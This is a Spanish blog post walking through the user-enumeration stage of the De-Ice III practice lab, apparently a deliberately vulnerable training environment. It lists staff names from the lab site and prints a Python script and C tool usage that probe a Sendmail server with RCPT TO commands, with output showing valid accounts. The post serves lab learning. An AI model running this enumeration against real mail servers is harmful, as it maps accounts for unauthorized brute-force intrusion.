Continúa desde: Desarrollo del entorno De-Ice III – Network Mapping, Port Scanning

Una vez hemos escaneado e identificados los servicios disponibles en los sistemas objetivos vamos a enumerar los posibles usuarios de estos.

Tenemos entonces dos host objetivos con los siguientes servicios y versiones disponibles:

192.168.2.100

21/tcp  open   ftp      vsftpd 2.0.4
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
443/tcp closed https

192.168.2.101

80/tcp open  http    Apache httpd 2.0.55 ((Unix) PHP/5.1.2)

Realicemos una exploración manual al sitio web 192.168.2.100 en busca de información sensible o de interés para nuestros propósitos:

En el sitio web podemos encontrarnos un directorio de personas involucradas con la empresa:

Development:
Samuel Pickwick – pickwick@herot.net
Nathaniel Winkle – winkle@herot.net
Augustus Snodgrass – snodgrass@herot.net
Tracy Tupman – tupman@herot.net
Sam Weller – weller@herot.net
Tony Weller – tweller@herot.net
Estella Havisham – havisham@herot.net
Abel Magwitch – magwitch@herot.net
Philip Pirrip – pirrip@herot.net

Testing:
Nicholas Nickleby – nickleby@herot.net
Ralph Nickleby – rnickleby@herot.net
Newman Noggs – noggs@herot.net
Wackford Squeers – squeers@herot.net
Thomas Pinch – pinch@herot.net
Mark Tapley – tapley@herot.net
Sarah Gamp – gamp@herot.net

Marketing:
Jacob Marley – marley@herot.net
Ebenezer Scrooge – scrooge@herot.net
Bob Cratchit – cratchit@herot.net

Human Resources:
Bill Sikes – sikes@herot.net
Jack Dawkins – dawkins@herot.net
Noah Claypole – claypole@herot.net

Posiblemente estos sean usuarios válidos en el sistema y pueda realizarse un inicio de sesión en alguno de los servicios disponibles en el sistema.

Ahora exploremos el host 192.168.2.101.

En este nos encontramos una serie de políticas de uso/configuración de aplicaciones/actividades relacionadas con la administración y la seguridad del servidor.

  • Software Installation Policy
  • Server Malware Protection Policy
  • Employee Internet Use Monitoring and Filtering Policy”
  • Acceptable Use Policy
  • Audit Vulnerability Scan Policy
  • Email Policy

Tratemos entonces de autenticarnos en alguno de los servicios disponibles haciendo uso del listado de posibles usuarios con passwords comunes/blanco/mismo-nombre-usuario.

Primero depuremos el listado de posibles usuarios:

pickwick
winkle
snodgrass
tupman
weller
tweller
havisham
magwitch
pirrip
nickleby
rnickleby
noggs
squeers
pinch
tapley
gamp
marley
scrooge
cratchit
sikes
dawkins
claypole

Ahora identifiquemos y verfiquemos los usuarios reales del sistema.

Para esta actividad aplicaremos una técnica mostrada en un entorno anterior, pero ahora perfeccionada por Roguer (jollyroguer [at] gmail [dot] com)  quien ha desarrollado un script en python que automatizará esa consulta. Veamos:

#usensmtp.py

######usensmtp.py######
import getpass
import sys
import telnetlib

print “Welcome to usensmtp.py”
print “Created by Roguer”
host = raw_input(“Digite la ip del objetivo: “)
port = raw_input(“Digite el puerto del objetivo: “)
users_file = raw_input(“Digite el nombre del diccionario de usuarios: “)
tn = telnetlib.Telnet(host,port)
tn.write(“helo x” + “\n”)
tn.write(“mail from: roguer@slax.example.net” + “\n”)

#este valor puede cambiar para otros entornos
print tn.read_until(“Sender ok”,1)
inp = open(users_file,”r”)
for linea in inp.readlines():
tn.write(“rcpt to: “+ linea)
print tn.read_until(“User unknown”,0.1)
inp.close()
tn.write(“quit” + “\n”)
print “created by Roguer”
print “jollyroguer@gmail.com”
#### fin####

También podemos utilizar la herramienta smtp-user-enum que había mostrado en el primer entorno para los propósitos de enumeración de usuarios.

Los resultados arrojados por el script de Roguer son los siguientes:

root@bt: ~#python usensmtp.py
Welcome to usensmtp.py
Created by Roguer
Digite la ip del objetivo: 192.168.2.100
Digite el puerto del objetivo: 25
Digite el nombre del diccionario de usuarios: usuarios.txt
220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Thu, 4 Mar 2010
08:07:24 GMT
250 slax.example.net Hello [192.168.2.10], pleased to meet you
250 2.1.0 roguer@slax.example.net… Sender ok
250 2.1.5 root… Recipient ok
550 5.1.1 pickwick… User unknown
550 5.1.1 winkle… User unknown
550 5.1.1 snodgrass… User unknown
550 5.1.1 tupman… User unknown
550 5.1.1 weller… User unknown
550 5.1.1 tweller… User unknown
250 2.1.5 havisham… Recipient ok
250 2.1.5 magwitch… Recipient ok
250 2.1.5 pirrip… Recipient ok
550 5.1.1 nickleby… User unknown
550 5.1.1 rnickleby… User unknown
550 5.1.1 noggs… User unknown
550 5.1.1 squeers… User unknown
550 5.1.1 pinch… User unknown
550 5.1.1 tapley… User unknown
550 5.1.1 gamp… User unknown
550 5.1.1 marley… User unknown
550 5.1.1 scrooge… User unknown
550 5.1.1 cratchit… User unknown
550 5.1.1 sikes… User unknown
550 5.1.1 dawkins… User unknown
550 5.1.1 claypole… User unknown
550 5.1.1 spickwick… User unknown
550 5.1.1 nwinkle… User unknown
550 5.1.1 asnodgrass… User unknown
550 5.1.1 ttupman… User unknown
550 5.1.1 sweller… User unknown
550 5.1.1 tweller… User unknown
550 5.1.1 ehavisham… User unknown
550 5.1.1 amagwitch… User unknown
550 5.1.1 ppirrip… User unknown
550 5.1.1 nnickleby… User unknown
550 5.1.1 rnickleby… User unknown
550 5.1.1 nnoggs… User unknown
550 5.1.1 wsqueers… User unknown
550 5.1.1 tpinch… User unknown
550 5.1.1 mtapley… User unknown
550 5.1.1 sgamp… User unknown
550 5.1.1 jmarley… User unknown
550 5.1.1 escrooge… User unknown
550 5.1.1 bcratchit… User unknown
550 5.1.1 bsikes… User unknown
550 5.1.1 jdawkins… User unknown
550 5.1.1 nclaypole… User unknown
550 5.1.1 samuel… User unknown
550 5.1.1 nathaniel… User unknown
550 5.1.1 augustus… User unknown
550 5.1.1 tracy… User unknown
550 5.1.1 sam… User unknown
550 5.1.1 tony… User unknown
550 5.1.1 estella… User unknown
550 5.1.1 abel… User unknown
550 5.1.1 philip… User unknown
550 5.1.1 nicholas… User unknown
550 5.1.1 ralph… User unknown
550 5.1.1 newman… User unknown
550 5.1.1 wackford… User unknown
550 5.1.1 thomas… User unknown
550 5.1.1 mark… User unknown
550 5.1.1 sarah… User unknown
550 5.1.1 jacob… User unknown
550 5.1.1 ebenezer… User unknown
550 5.1.1 bob… User unknown
550 5.1.1 bill… User unknown
550 5.1.1 jack… User unknown
550 5.1.1 noah… User unknown
550 5.1.1 samuelp… User unknown
550 5.1.1 nathanielw… User unknown
550 5.1.1 augustuss… User unknown
550 5.1.1 tracyt… User unknown
550 5.1.1 samw… User unknown
550 5.1.1 tonyw… User unknown
550 5.1.1 estellah… User unknown
550 5.1.1 abelm… User unknown
550 5.1.1 philipp… User unknown
550 5.1.1 nicholasn… User unknown
550 5.1.1 ralphn… User unknown
550 5.1.1 newmann… User unknown
550 5.1.1 wackfords… User unknown
550 5.1.1 thomasp… User unknown
550 5.1.1 markt… User unknown
550 5.1.1 sarahg… User unknown
550 5.1.1 jacobm… User unknown
550 5.1.1 ebenezers… User unknown
550 5.1.1 bobc… User unknown
550 5.1.1 bills… User unknown
550 5.1.1 jackd… User unknown
created by Roguer
jollyroguer @ gmail.com

Para quienes represente algún inconveniente ejecutar el script en python, también existe otra herramienta escrita en C que me ha resultado bastante efectiva a la hora de realizar enumeración de usuarios a través del servicio SMTP con RCPT. Veamos:

SMTP (RCPT TO) User enumeration

Una ves descargado/copiado como rcpt2.c (foo.c) y editado el código según nuestras necesidades, procedemos a compilarlo para generar el binario.

Edición:

Solo necesité editar las siguientes lineas (negrita):

define PORT            25
#define BUFFSIZE        2048
#define NAME            “rcpt2″
#define HELO            “HELO Sec-Track\n”
#define MAIL            “mail from:<sectrack@slax.example.net>\n”
#define RCPT2           “rcpt to: “

Compilación:

root@bt:~# gcc rcpt2.c -o user_enumeration

Ejecución:

root@bt:~# ./user_enumeration
rcpt2 by B-r00t. (c) 2003.
Usage:  ./user_enumeration <USERLIST> <HOST>
./user_enumeration usernames.txt smtp.acme.com

Resultados:

root@bt:~# ./user_enumeration users.txt 192.168.2.100
rcpt2 by B-r00t. (c) 2003.
Usernames from: users.txt
RCPT TO username enumeration on 192.168.2.100.

BANNER: 220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 12 Mar 2010 11:35:30 GMT
SEND: HELO avatar
RECV: 250 slax.example.net Hello [192.168.2.1], pleased to meet you
2010 11:35:30 GMT

SENT: mail from:<avatar@slax.example.net>
RECV: 250 2.1.0 <avatar@slax.example.net>… Sender ok

VALID_USER: root
VALID_USER: havisham
VALID_USER: magwitch
VALID_USER: pirrip

Sending RSET & QUIT to 192.168.2.100

Ok Done!

Como se puede ver logramos obtener algunos de los usuarios del sistema. Estos son:

  • root
  • havisham
  • magwitch
  • pirrip

En el próximo post evaluaremos la posibilidad de autenticarnos con estos usuarios en los servicios disponibles (brute force, contraseñas débiles, etc). También trataremos de identificar vulnerabilidades en el sistema que nos permitan determinar posibles puntos de intrusión.

One Response to “Desarrollo del entorno De-Ice III – Enumeración de usuarios”

  1. Intima sexy says:

    Solo queria felicitarlos muy buen artículo.